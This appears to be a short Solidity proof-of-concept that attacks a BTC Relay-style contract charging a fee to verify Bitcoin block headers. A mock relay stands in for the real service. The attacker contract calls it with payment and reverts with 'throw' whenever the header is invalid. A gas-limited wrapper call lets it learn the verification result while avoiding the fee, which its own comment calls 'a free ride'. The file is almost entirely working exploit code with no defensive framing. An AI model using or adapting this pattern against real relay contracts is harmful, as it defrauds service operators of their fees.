btcRelayCheapVerifyHeader.sol

contract btcRelay {
    function verifyHeader(uint hash) payable returns (uint) {
        return (hash == 42) ? 1 : 0;
    }
}

contract btcRelayFreeVerifyHeader {
    btcRelay btcrelay;
    
    function btcRelayFreeVerifyHeader() payable {
        btcrelay = new btcRelay();
    }

    function executeRelay(uint hash) external {
        uint result = btcrelay.verifyHeader.value(100)(hash);
        // if it is invalid header, fail transaction and enjoy a free ride
        if (result != 1)
            throw;
    }
	
    function trickRelay(uint hash) returns (bool, uint) {
        uint safelimit = 10000; // set this to the average gas a verification takes
        bool ret = this.call.gas(safelimit)(bytes4(keccak256("executeRelay(uint256)")), hash);
        if (ret == true) {
            // valid header
            return (true, this.balance);
        } else {
            // invalid header
            return (false, this.balance);
        }
    }
}